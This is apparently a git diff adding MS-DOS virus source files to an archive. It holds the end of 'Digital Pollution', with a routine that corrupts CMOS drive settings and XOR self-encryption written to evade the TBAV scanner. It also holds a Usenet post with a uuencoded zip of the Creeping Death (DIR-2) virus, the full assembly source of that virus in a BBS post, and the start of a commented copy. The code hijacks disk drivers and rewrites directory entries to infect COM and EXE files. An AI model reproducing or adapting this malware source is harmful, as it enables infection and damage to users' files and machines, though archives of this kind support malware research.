This routine changes the floppy alternative in CMOS to a 360kb floppy +; or the hd to a 20 MB +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +screw_cmos: + + or dl,dl ;if dl = 0 nuke CMOS floppy + jne floppy + mov cl,19h ;else nuke CMOS hd + jmp short get_crc +floppy: + mov cl,10h + +get_crc: ;get CMOS crc checksum + mov ax,2eh ;get most significant byte + out 70h,al ;and store in dh + in al,71h + xchg dh,al + mov al,2fh ;get least significant byte + out 70h,al ;and store in dl + in al,71h + xchg dl,al ;dx holds crc checksum + + mov al,cl ;cl = function (10h=floopy, 19h=hd) + out 70h,al + in al,71h ;get current value in al + sub dx,ax ;and subtract from checksum + add dx,10h ;add new value to checksum + + mov al,cl + out 70h,al + mov al,10h + out 71h,al ;put new value in CMOS + + mov al,2eh ;put back new crc checksum + out 70h,al + xchg dh,al + out 71h,al ;least signigicant byte + mov al,2fh + out 70h,al + xchg dl,al + out 71h,al ;most significant byte + + ret ;done! + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; Swedish national anthem routine +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +play_song: + + lea si,[bp+tune] +next_note: ;loop through the tune at ds:si + lodsw ;until ds:si = 0 + or ax,ax + je eot + mov di,ax +play: + mov al,0b6h + out 43h,al + mov dx,12h + mov ax,3280h + div di + out 42h,al + mov al,ah + out 42h,al + + in al,61h + mov ah,al + or al,3 + out 61h,al + + lodsw + mov cx,ax +delay: + push cx + mov cx,2700 + loop $ + pop cx + loop delay + + out 61h,al + + jmp next_note +eot: + xor al,al ;kill the sound + out 61h,al + + ret + +tune dw 370,600 ;data for the tune + dw 370,1200 + dw 294,600 + dw 294,600 + dw 294,1200 + dw 330,600 + dw 370,600 + dw 370,1200 + dw 330,600 + dw 294,600 + dw 277,1800 + dw 330,600 + dw 330,1200 + dw 277,600 + dw 294,600 + dw 330,600 + dw 277,600 + dw 370,600 + dw 294,600 + dw 247,2400 + dw 220,1200 + dw 0 + +dbnote db "Digital Pollution (c) '94 Raver/Immortal Riot" ;creators note + + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; En/de-cryption routine and entry point - unencrypted code +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +encrypt_decrypt: + mov ax,word ptr ds:[bp+enc_val] ;put encryption value in ax + lea di,[bp+install] ;di points to start of crypt + mov cx,(encrypt_decrypt-install)/2 ;cx = # of words to be enc. +xor_loopy: + xor word ptr ds:[di],ax ;a simple xor loop to fullfill + inc di ;the task + inc di + loop xor_loopy + ret +enc_val dw 0 + + +entry_point: + mov sp,102h ;some alternative way to pop + call get_bp ;we don't want TBAV to flag +get_bp: ;a flexible entry point + mov bp,word ptr ds:[100h] + mov sp,0fffeh + sub bp,offset get_bp + + call encrypt_decrypt ;decrypt the virus + jmp install ;jmp to install code + +end_of_virus: + +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +; end of virus +; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä +cseg ends + + end start_of_virus \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.dir-2.asm b/MSDOS/Virus.MSDOS.Unknown.dir-2.asm new file mode 100644 index 00000000..af8e8cd2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dir-2.asm @@ -0,0 +1,193 @@ +From smtp Tue Feb 7 12:40 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 12:40 EST +Received: by lynx.dac.neu.edu (8.6.9/8.6.9) + id MAA20511 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 12:43:16 -0500 +Date: Tue, 7 Feb 1995 12:43:16 -0500 +From: lynx.dac.neu.edu!ekilby (Eric Kilby) +Content-Length: 10475 +Content-Type: text +Message-Id: <199502071743.MAA20511@lynx.dac.neu.edu> +To: pobox.jwu.edu!joshuaw +Subject: (fwd) Creeping Death (dir-2) +Newsgroups: alt.comp.virus +Status: O + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!howland.reston.ans.net!pipex!uunet!uunet.ca!uunet.ca!io.org!wink.io.org!cwalker +From: cwalker@wink.io.org (Chad Walker) +Newsgroups: alt.comp.virus +Subject: Creeping Death (dir-2) +Date: 3 Feb 1995 11:11:59 GMT +Organization: Internex Online, Toronto, Ontario, Canada (416 363 3783) +Lines: 161 +Message-ID: <3gt31v$sm5@ionews.io.org> +NNTP-Posting-Host: wink.io.org +X-Newsreader: TIN [version 1.2 PL2] + +begin 664 dir2.zip +M4$L#!!0````(`*JU/QZQ):7O)1L``+EU```(````9&ER,BYAMST\B6 +M_TX5_T-/]@.A$&`["01[N2PD84@M$#9A[F3O%)62I78LD"5?/?*8?W[W/%I2 +M2RVU-&+\P1!;.CK=?1Z_\^CV0AR[R0_Q-KJ6X:-4>/%F(Z,LG8M3D6[A?V)S +M+^"?()'BUOT11-=B'>=)*L(XIK_<3&3K(!4W09*GSQX^6(B.URG<XC9-T'6R!EA1^$M"%%F)!M))>EL*M7]T?4KC$#O)"Y#_* +M3$0QL9XE<;X,92J6TDI.W+A!!+?^OKX7?N`#1WY,`WN#W*6NEP2KP),%SV(5 +M)Q9Z.(JEC.0JR$2\$ON3#_(.A[D2]W$.E*-'F4BDZ],3'''Z:&,A=AU'D0OO +MXGL,?/[Q.?_ODV\PT=H=1XF46UR,8^EF:R'^*:;/)O"]=LGNT6-Q%&_OD^!Z +MG8GIJU=3L;P7_\1%NXA7&7R7;(EH,-V+DVN\Y36^':P.U_#A;%K_T%OCM7Z0 +M7,W@[U1>H]``Q4R*+ED0H33 +MS$VR>?6MV,0W^)RM\P*NZ)HH(1;B`I8^9S$"(MX/L85)RV2BT0HB#]Y!X'RQ +MS1*0^!PO:*'U*ZQ@XF9!'!47:53N8KS%NW.\.X-//X5/N[E$VL<7S%DJLE@0 +MATF^!55R05@U>J&?XA3>T:3],?&FZV_M]-X'D:_1V<-Y++]V?9^IS*:6R0,J +M1VL7[``H$7)U"BL*-VATMGFZQM'9AD9T+EQ28`$SQZL`ZB+R%)3BWB#G6F>* +MR*7Y$M0X"R(I=K[GF^V.,>/NVMFS"0:M9B:.SR[$C4Q26%*-A.>&H1!(6/]P +MLT6ZH;/?PQS2W']V^43,Q<4IZ,=$(Y(NE_@>.&G03V3V?$\41)Y.C2&RIY,4^F; +M4[Z\`V6T3_E;_WL.;&SD)D[NT7-2Y*1=OW[53>GIOQ* +M7[LVP@>S85+Q,4C)5.._:2M]"QDD!`ISH@^-D+7RFN]@)X2(Y%W6,TSPQP`3'``)]\*]!@"@ +MVW=O?4W\]%GR3XAJ>#CE.$$8CBX-<2QFZG#=5-V2V/O0O>:Y%AM4G:4$G+#, +M@S`SG4Q03OU>Q]237,6K52JM4S_PM1!G@!Z"R`U_GA)XI`3L"MJ$H\OY\6GG +M7,'0'#6"-0"FRD\OQ+G.2UKM6Q,O6CT`.^NEP$QN*,&_S@R0N+GI\@ +M1\KT0V`C(#0!&1KE;4CA%:DT@Y!.7E-2([GOGF\(5^'2*[+GCF94E%>ENSF$ +ML]*`[Q4-F>H<<;2F7'T1'=4`R.#1K?+(HR#UJG:_%_K#[K_PW(A80$V]38), +M&B."",;JOG0N6.4!*0)9\J5L`^T1$)&(^^!%&/OI;9MUG,K5:FVZ2^"@S3'- +M/%NTL1"_!]X/,"QY]/3>302#C/B1\=P_`!?L?W.Z''/96I:@J!`4YO8#U;W3YK+JL2[P&=@";9NYNES +M"P`@O>V>OHH0.!!7I#'"&I0P@+(>I1?\-I3=%R"'H+3),\MXJKQ5X\ZOF)T, +MTL(543["$^('7CH-FF$QK6U47^W@8N)-['DLC2U +M7+M@3OP@_2'.SSZ-,1`7F$TK$.%_E5;^:$+9MI6?_IC.A1CN]C[&KE\FV9B8 +MD1@;D/-PB2TW*RSSA/DIKR`Y'S0^W8"EP77D9GDBV^S$Q'4/#BQS7H'PDHP) +MHW#"K$FA"D:QP+=,DK<<,#*DY(6P;.+MA\:\+(?<&^(ZN9PX`LC\]J,AAE[H +MO-)5&VPOQ[RAG?+%.EAEX,I7,,8)1`!AB%J-$S-#22H-&L`X[Z5IF/'"/6-] +M2K>)EG#VS=GW^N]4& +MOIU,E0L59#\HZ\Y!V9Q`@1`S4LP@E.Q`:;5WO/F.,SLX<"8\TWOX'<<\`WPK +M86=2>V4'>"#&(H#>VB,H$FXM/,CB6*S!-3GZ5!##)`YV4EKBA;2J&M*`)36& +MU*)F-"9_[4Q6]K)!?4S@*G!(K2/J">,YUUE+*>D*EE,^>-N;5`8\(P%.W;>W'C)IC])/'"N2IT(JLDWH@O%U\,6C)UEF;!!#/`K^R)C7,94NP']GD7C%F*^LR3K:?^ +M6E/Y[)'`K-6P%<1\&8UMV2?O*::?7XM)S17\B>_V<%HHR4KC,J#&&S!2C.); +M$Q/T@VRT0"B@21Y1P.FB[46L+>4/#6O[_?;@@E4&Q4&26=.EU'.'.5ZTI_JJ +M-Y-?1=9*ZA_",@JR,Q@`6K/BIUJ)#,<9N1O987#E'0V\G=`NZ#/F^/>>73[1 +MA67@"T)1H)ZC$UT#6N$9YTR!T,2:`O07W2IR#2H"&L&0NI$F*/5,_@017GN[ +M-#,1RJ`%,+'UO)>&W!X^P!FE`;*-:5%:8%=Y0RH3M#U)56,;981102[P=G)Y +M5]2P(1J4QG%C(U*C-@ +MIDZEQ1Y;0SU+<+2Z:NB.PDT#[`3:V4+Y3-"@8.2=LS^QT\'>`[(7):U:(3"1 +M6Z&B)3L=ZJS(P3LF0Z;%;YL6K!7[=F?S@7)-(M[*2.E[@X9?RCY^W4H#\-K_ +M[3B3/N>D&.W7VN.+^3'5]2I3V);-W6Z +M/3!423%T4=GC*G& +M:IHX!C+$5E*-)MT8_JZC?"KOT28J\(@ +M4<'JOO,AAD8'T97U*>C(\,)&IKJ-76OD2_',OW.,0+"X[XMWM3X-QLW;K=T. +M%WFFB`IKZ!C=)4BC`V"X5O;E6G;*[0+363>X!`]38&X40N#)Z$=K`HOE=GD% +M[KAM>"IO#H-3+7BT)"T!X;S@RVG%(Q#UE!2`JZY"?T%GO[O0WS:@P8I.0*A- +MT0?CLP;#`)JF+^S/+$%3S"+"W(]$3N;$%:SUCKVH^E*L-9BD)$46`[80 +M4;Y9T@+QU#73%F3_-GOV^:K2%LO@&E<]"PBQ[/YC;_;IGZ,CSSS +M(\Q_)=C;CR]`IP/P,")-3EV!T\Q<`'>)_`4Y9Q\ZUZS99+6:O#)1LK>6`&JL +M3PBH[.**2-Z26)B)MB!:7:6=*1ZAUURN8^'>NO=_EV]OZ3O0Y0H9\],?G,,G +M'N?J^ROU-TPY(*AY=>,5_LV?7N''W/^2;GO=06&&RS+F&%G_*-&1-2KLR#RO +MYO!%.^U=--KAT$-$+5J(7/$4PFP6+3A5RS,A6Q.QQ&0Q0H4U#%^8:B)M[FR/M`[X4QYS`YA/\>/L!,-O<<#JUWQE&K +M"!1Q5:U4B'J?TMPVN*YL4H&:&LEG53?&-+.*!Y5K>2VF8XSV[CF*`R7+WGXU +M<_9J6FP4B`#:?N:G!IA1X$BC[$R`O%'&P0#)[0)GN$D(,V#JDUMLL6]#[H-- +MS0=JS2U-#0^>MAS),9,+JUG+L8^`_*D=\V/'5FKOV/K,\I%@4<0/$EHD[K,* +M:OBW;/6<'MA'=1[G$78:M-6M]W4ONU8%GKZZ]7%P$_A4_`);2U4%Q&`,E48! +MD55CM&VA$D[;9&E9@],*ZCX'W3!F"FC8,[5`@W:Y499\AOI5PR"9Q6_J1-[Z +MK%Y(A2I;,"BP$@9&]OMKQ$A*68TT^%/J$S4F"UTN5<,BU(&NSDW`@L(H8DTJ^0K(GW:X/LV/(A2N]Y?#F'P5(F1@]. +MVK+I1.]E-ST0H'*R<#CD,=OWX#%\QY[I'J4!N.=QJA6/!$_=+_[#B#*]_C#ZE/), +M($RX>Y>A*`C.U!BJV[_?0?'QG,?ED*F+(S,U,Z"?G]!5,2Y#Q!2@C2/PL-;> +M=[4M0((%:EF(YB"-W,QDVY!^3D[#W\ +MD?QHT<82!*F4F@&\00X^?_GMJYD:-C-Q'8%S$UF^KD_,8$1X5H)!D!WBDGW.\B;MPPMP!_+YU?N_Z3:7-@Y39@;N\H.##(E5:CKVM%MQJ3AN(;N:ET +M`XMO@\\+]G54IH3YWN$;6K8$DU.Q=/0I)U5XJ&J?7!V##7PMC%5'@#'(#WU" +MI01GSB4+G&6*.\?PL*/LW`Y/$J$)[):2HZ**8*5:)DG#8/56]6Z)JJ]VM5J] +MM/35`MI>!H@G4YG<2/_YLF93>>'KG^FDNRDCZ=E/D;9U8/>0IB)-#'Y^J=([ +M99:MD]V"\E>(B'SV+MLP\%#A0<'F.<:1C?2K2F +MTMQE/<"'TC$$MZSLF=9U7U/1&C$W=K.YS07UP@X*' +M<]S(#O$Z^3Y8T-304>I4ME$J`'^,=JQ)8_"JU_"7@5-:TC>#=S1^EBQ.?@SA +M'RQ3BJT=PH +MHZ.O:@!\:8`.ZG5DHH]KD*'$,%U^LMUQ/7P0]N8@*:&+VM'1)AF6K +M,<,/'4#^?V5R_8MV8V$'NK1:^UR3&9LTLLP0>,!>C-.V]HG^';G'@8\!N5=A +M*5BE-V-$+W@FG]$&7VPB#A%TWW,..&@I!/7;PV:RWH2%JMP.T+"V\?&,*\A5 +M%L:,1=G?7O5E8HN&>S_P\2@D/LV)DQAC<`I5#VB*U3$QX`G/UF,HWN[F6SQE<.J@)SG&3#O_Y.C7U:`_%%*>1],B'=$ +M7X;@*^4Q=ZIDAY_;LVKQ^V +M%MJH:+6_=[0<6K1SA$.<-*I.NAB/!2-^- +M4BVQT-(Y4]%"+^],._IW%1I>ER>Z[/KYVJRC#;`U_\*V(CS$3X8W,OUEC,CO +M_H['`7*?6):`]0V!DZNBI)UF9L55'5@.A`N3U$3W%"K`G$J)D0/G]7#;]S*X-J`A\>4C7WNKU2'R]9^S +MR?[A.XU4DZ\POC78(D`YDBW*$+8RAET8E:V9UO<1%8RY698$2]SNB_U0ZJDFOUH10-$*EPXX^ +M%!.G,%8/'RC7/Z^T=#K;V[?EWO%"/)OV\I*/D\&DM@Q3>=M(`):Z0=+A=B-` +M)1HX6:CV1:)AE,FJY5F%BZ>V&$H\8!6+/@O58D'[^B/*`^MPH3C&IF^`5??8 +M!L^M!LK%=HLQ8Z0#MZ^+ZD.YS;UOV4ZXIH<#"I*_8Y+-8`:GP1YEX@E8N%^' +MG3J=%5046L9P`D@3MWBCZ$0Q$$ZV<5H[2)GP_(#U_EHML%)5U":MW61`;\YQ +MD`85R&HH?%U6]NUG*EA2;24W1D&WR8TLE]M&3ULY>Y#M5BNWI+B*9A5GB`\J +MFKG7DADCBDK8C$[C>GUD'B4P^LBG'-\51$5)5:JU"[4;U9326] +M[;L=BOWP=!!D8ZW4^2']4479C85&=8L'>'+QO'&R@CK$IA^_54&);G<:1]0F +MTF[E2VJ5U?EW'M"^-W(=M?VF%%U:$)F[AH`,=UIPF_4N[U4T]K\-?)F'W6/_ +MQN.'#RCHK\X0`L9Z&XG@0K@,G1">`\7Y]F=C6#J*-WBH@FI8*TYB]>IH8C`U +MX!OD@0[`=OGXEE$E^`T8LC3`YD[N#*`S*&Z#<3R!>?0X/5:4)6(\EPTPL9DB +M*W$2*FIYY+AV4J +M!;H9Y3!]P`I68H#299TU-5EN)PK72L"UK=6*X'RX.3YZ[_SKO:#&P%6=Q9^5 +M!8?&R93'T$(V='H8MF"9#G^P9`R]'W3.$26-*IO>TE]XV+B/JX.48#[[[>N7 +MW[XZ[*1UT^*B:1D@F_W[N08/AUO&*;."1\B`=HQKGRS]L5-L`^*.RK8&@)<3 +M<\^TG_;_H`2=GIMK.W7YP,^Y1KHO3GA;)$E+*]H:W97GYYGE4>YL;@.9W[1S +M.[?M,)2.SAECC09NXU-6I,EB^7'+41YL*>=&<4O?Q*X;-+U#%7>W7'C1Y__X]7`!^2S5'-AK[R"BO +MW.S*NI>5Z$PPH"A"_LYX%,,WVR2)13LG'!W7SKT!18=P\BG$FY7Q'-KKS'T* +M`\[9U$M?>XV`M-RFUMSJSQ#:?TW +M4K"L`0+0ER@L4ZOR1D8.W1%$+>&"XLO63QM7;F^CL]@\:U/K#K4PN"B'I5FA +MDCN60=W;]>UM43W*=3$:O.YJ`U[;[IK:_'0O7+5NH+J<.5#I"!R55CZ!L=2+ +MJKP!:`"3Y@Z74;7_1.()5O3+4IQ04DWSH\Y6[-XGPX7_^5]H@ZU.A(618I77 +MH^(Q_UA?>=U@G%[;`XG+D'-^G.WWI%;(Y\\.]ZT_-T5K4)071B5-WOULUH7. +MP11G7TX^/S_Z>'9Q`N,#J6KL^!U.CE\J_",(D.;;+6CNN"PN_^1>X(G3LZ.O +M'QGQ_13!"[XY%7OL),P-E[5TX\;2BWY1G#RF*IM=-/!I731.2Z!3_)[=;I*M +M'ALXXZ7%OBM2:K,U[HO,EYB7^\FI7]YS)H>!'?X29GSK\*]\C@K]8+*?/H7W +M1RG^!@`?D8)V^GL>>/?\ZY5?ZL>""JY2S_&K"3S_[/Q8_U$T[:!9O&(FCND* +MK6&E?J;G0KPP+\'C!WRY\E&P``N74```@````` +K`````0```*2!`````&1I4MB + jnz go_on + test [si+1dh],03ff8h ; <2048B + jz go_on + test [si+0bh],byte ptr 1ch + jnz go_on + test dl,dl + jnz rest +pointer: mov ax,1234h + cmp ax,[si+1ah] + je go_on + xchg ax,[si+1ah] +gad: xor ax,1234h + mov [si+14h],ax + loop go_on +rest: xor ax,ax + xchg ax,[si+14h] + xor ax,cs:gad+1 + mov [si+1ah],ax +go_on: ;rol cs:gad+1,1 + db 2eh,0d1h,6 + dw offset gad+1 + add si,32 + cmp di,si + jne find + ret + +check: mov ah,[bx+1] +drive: cmp ah,-1 + mov cs:[drive+2],ah + jne changed + push [bx+0eh] + mov byte ptr [bx+2],1 + call in + cmp byte ptr [bx+0eh],1 + pop [bx+0eh] + mov [bx+2],al +changed: ret + +write: cmp byte ptr es:[bx+2],8 + jae in + mov byte ptr es:[bx+2],4 + mov si,70h + mov ds,si +modify: mov si,1234h + push [si] + push [si+2] + mov [si],offset i13pr + mov [si+2],cs + call in + pop [si+2] + pop [si] + ret + +driver: mov es:[bx+12h],1 +in: + db 09ah +str_block: + dw ?,70h + db 09ah +int_block: + dw ?,70h + test es:[bx+4],byte ptr 80h + ret + +convert: cmp ax,0ff0h + jae fat_16 + mov si,3 + xor cs:[si+gad-1],si + mul si + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si +header: inc ax + ret + +counter: dw 0 + + dw 842h + dw offset main + dw offset rts + db 7fh + +param: dw 0,80h,?,5ch,?,6ch,? + +bpb_buf: db 32 dup(?) +f_name: db 80 dup(?) + +;--------The End. + diff --git a/MSDOS/Virus.MSDOS.Unknown.dir2.asm b/MSDOS/Virus.MSDOS.Unknown.dir2.asm new file mode 100644 index 00000000..655c4f2f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dir2.asm @@ -0,0 +1,497 @@ +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (19:52) Number: 3544 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIR-2 Conf: (16) VIRUS +--------------------------------------------------------------------------- +; Creeping Death V 1.0 +; +; (C) Copyright 1991 by VirusSoft Corp. + +i13org = 5f8h +i21org = 5fch + + org 100h + + mov sp,600h + inc counter + xor cx,cx + mov ds,cx + lds ax,[0c1h] + add ax,21h + push ds + push ax + mov ah,30h + call jump + cmp al,4 + sbb si,si + mov drive+2,byte ptr -1 + mov bx,60h + mov ah,4ah + call jump + + mov ah,52h + call jump + push es:[bx-2] + lds bx,es:[bx] + +search: mov ax,[bx+si+15h] + cmp ax,70h + jne next + xchg ax,cx + mov [bx+si+18h],byte ptr -1 + mov di,[bx+si+13h] + mov [bx+si+13h],offset header + mov [bx+si+15h],cs +next: lds bx,[bx+si+19h] + cmp bx,-1 + jne search + jcxz install + + pop ds + mov ax,ds + add ax,[3] + inc ax + mov dx,cs + dec dx + cmp ax,dx + jne no_boot + add [3],61h +no_boot: mov ds,dx + mov [1],8 + + mov ds,cx + les ax,[di+6] + mov cs:str_block,ax + mov cs:int_block,es + + cld + mov si,1 +scan: dec si + lodsw + cmp ax,1effh + jne scan + mov ax,2cah + cmp [si+4],ax + je right + cmp [si+5],ax + jne scan +right: lodsw + push cs + pop es + mov di,offset modify+1 + stosw + xchg ax,si + mov di,offset i13org + cli + movsw + movsw + + mov dx,0c000h +fdsk1: mov ds,dx + xor si,si + lodsw + cmp ax,0aa55h + jne fdsk4 + cbw + lodsb + mov cl,9 + sal ax,cl +fdsk2: cmp [si],6c7h + jne fdsk3 + cmp [si+2],4ch + jne fdsk3 + push dx + push [si+4] + jmp short death +install: int 20h +file: db "c:",255,0 +fdsk3: inc si + cmp si,ax + jb fdsk2 +fdsk4: inc dx + cmp dh,0f0h + jb fdsk1 + + sub sp,4 +death: push cs + pop ds + mov bx,[2ch] + mov es,bx + mov ah,49h + call jump + xor ax,ax + test bx,bx + jz boot + mov di,1 +seek: dec di + scasw + jne seek + lea si,[di+2] + jmp short exec +boot: mov es,[16h] + mov bx,es:[16h] + dec bx + xor si,si +exec: push bx + mov bx,offset param + mov [bx+4],cs + mov [bx+8],cs + mov [bx+12],cs + pop ds + push cs + pop es + + mov di,offset f_name + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh + mov dx,offset file + call jump + pop dx + + mov ax,4b00h + call jump + mov ah,4dh + call jump + mov ah,4ch + +jump: pushf + call dword ptr cs:[i21org] + ret + + +;--------Installation complete + +i13pr: mov ah,3 + jmp dword ptr cs:[i13org] + + +main: push ax ; driver + push cx ; strategy block + push dx + push ds + push si + push di + + push es + pop ds + mov al,[bx+2] + + cmp al,4 ; Input + je input + cmp al,8 + je output + cmp al,9 + je output + + call in + cmp al,2 ; Build BPB + jne ppp ; + lds si,[bx+12h] + mov di,offset bpb_buf + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es + push cs + pop es + + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,[di+2-32] + cmp al,2 + adc al,0 + cbw + cmp [di+8-32],0 + je m32 + sub [di+8-32],ax + jmp short ppp +m32: sub [di+15h-32],ax + sbb [di+17h-32],0 + +ppp: pop di + pop si + pop ds + pop dx + pop cx + pop ax +rts: retf + +output: mov cx,0ff09h + call check + jz inf_sec + call in + jmp short inf_dsk + +inf_sec: jmp _inf_sec +read: jmp _read +read_: add sp,16 + jmp short ppp + +input: call check + jz read +inf_dsk: mov byte ptr [bx+2],4 + cld + lea si,[bx+0eh] + mov cx,8 +save: lodsw + push ax + loop save + mov [bx+14h],1 + call driver + jnz read_ + mov byte ptr [bx+2],2 + call in + lds si,[bx+12h] + mov ax,[si+6] + add ax,15 + mov cl,4 + shr ax,cl + mov di,[si+0bh] + add di,di + stc + adc di,ax + push di + cwd + mov ax,[si+8] + test ax,ax + jnz more + mov ax,[si+15h] + mov dx,[si+17h] +more: xor cx,cx + sub ax,di + sbb dx,cx + mov cl,[si+2] + div cx + cmp cl,2 + sbb ax,-1 + push ax + call convert + mov byte ptr es:[bx+2],4 + mov es:[bx+14h],ax + call driver +again: lds si,es:[bx+0eh] + add si,dx + sub dh,cl + adc dx,ax + mov cs:gad+1,dx + cmp cl,1 + je small + mov ax,[si] + and ax,di + cmp ax,0fff7h + je bad + cmp ax,0ff7h + je bad + cmp ax,0ff70h + jne ok +bad: pop ax + dec ax + push ax + call convert + jmp short again + +small: not di + and [si],di + pop ax + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz here + inc dx + mul dx +here: or [si],ax + pop ax + call convert + mov si,es:[bx+0eh] + add si,dx + mov ax,[si] + and ax,di +ok: mov dx,di + dec dx + and dx,di + not di + and [si],di + or [si],dx + + cmp ax,dx + pop ax + pop di + mov cs:pointer+1,ax + je _read_ + mov dx,[si] + push ds + push si + call write + pop si + pop ds + jnz _read_ + call driver + cmp [si],dx + jne _read_ + dec ax + dec ax + mul cx + add ax,di + adc dx,0 + push es + pop ds + mov [bx+12h],2 + mov [bx+14h],ax + test dx,dx + jz less + mov [bx+14h],-1 + mov [bx+1ah],ax + mov [bx+1ch],dx +less: mov [bx+10h],cs + mov [bx+0eh],100h + call write + +_read_: std + lea di,[bx+1ch] + mov cx,8 +load: pop ax + stosw + loop load +_read: call in + + mov cx,9 +_inf_sec: + mov di,es:[bx+12h] + lds si,es:[bx+0eh] + sal di,cl + xor cl,cl + add di,si + xor dl,dl + push ds + push si + call find + jcxz no_inf + call write + and es:[bx+4],byte ptr 07fh +no_inf: pop si + pop ds + inc dx + call find + jmp ppp + +;--------Subroutines + +find: mov ax,[si+8] + cmp ax,"XE" + jne com + cmp [si+10],al + je found +com: cmp ax,"OC" + jne go_on + cmp byte ptr [si+10],"M" + jne go_on + +found: test [si+1eh],0ffc0h ; >4MB + jnz go_on + test [si+1dh],03ff8h ; <2048B + jz go_on + test [si+0bh],byte ptr 1ch + jnz go_on + test dl,dl + jnz rest +pointer: mov ax,1234h + cmp ax,[si+1ah] + je go_on + xchg ax,[si+1ah] +gad: xor ax,1234h + mov [si+14h],ax + loop go_on +rest: xor ax,ax + xchg ax,[si+14h] + xor ax,cs:gad+1 + mov [si+1ah],ax +go_on: ;rol cs:gad+1,1 + db 2eh,0d1h,6 + dw offset gad+1 + add si,32 + cmp di,si + jne find + ret + +check: mov ah,[bx+1] +drive: cmp ah,-1 + mov cs:[drive+2],ah + jne changed + push [bx+0eh] + mov byte ptr [bx+2],1 + call in + cmp byte ptr [bx+0eh],1 + pop [bx+0eh] + mov [bx+2],al +changed: ret + +write: cmp byte ptr es:[bx+2],8 + jae in + mov byte ptr es:[bx+2],4 + mov si,70h + mov ds,si +modify: mov si,1234h + push [si] + push [si+2] + mov [si],offset i13pr + mov [si+2],cs + call in + pop [si+2] + pop [si] + ret + +driver: mov es:[bx+12h],1 +in: + db 09ah +str_block: + dw ?,70h + db 09ah +int_block: + dw ?,70h + test es:[bx+4],byte ptr 80h + ret + +convert: cmp ax,0ff0h + jae fat_16 + mov si,3 + xor cs:[si+gad-1],si + mul si + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si +header: inc ax + ret + +counter: dw 0 + + dw 842h + dw offset main + dw offset rts + db 7fh + +param: dw 0,80h,?,5ch,?,6ch,? + +bpb_buf: db 32 dup(?) +f_name: db 80 dup(?) + +;--------The End. + + diff --git a/MSDOS/Virus.MSDOS.Unknown.dir_8.asm b/MSDOS/Virus.MSDOS.Unknown.dir_8.asm new file mode 100644 index 00000000..aab1e8e9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dir_8.asm @@ -0,0 +1,554 @@ + +i13org = 5f8h +i21org = 5fch + +dir_2 segment byte public + assume cs:dir_2, ds:dir_2 + + org 100h + +start: + mov sp,600h ; Set up the stack pointer + inc word ptr counter ; Generation counter + xor cx,cx + mov ds,cx ; DS points to interrupt table + lds ax, ds:[0c1h] ; Find interrupt 30h + add ax,21h ; Change it to Int 21h + push ds ; Save it on stack for use by + push ax ; subroutine "jump" + mov ah,30h ; Get DOS version + call jump + cmp al,4 ; DOS 4.X+ : SI = 0 + sbb si,si ; DOS 2/3 : SI = -1 + mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to + ; "never accessed" + mov bx,60h ; Adjust memory in ES to + mov ah,4ah ; BX paragraphs. + call jump + + mov ah,52h ; Get DOS List of Lists + call jump ; to ES:BX + push es:[bx-2] ; Save Segment of first MCB + lds bx,es:[bx] ; DS:BX -> 1st DPB + ; (Drive parameter block) +search: mov ax,[bx+si+15h] ; Get segment of device driver + cmp ax,70h ; Is it CONFIG? (I think) + jne next ; If not, try again + xchg ax,cx ; Move driver segment to CX + mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt + mov di,[bx+si+13h] ; Save offset of device driver + ; Original device driver + ; address in CX:DI + mov [bx+si+13h],offset header ; Replace with our own + mov [bx+si+15h],cs ; 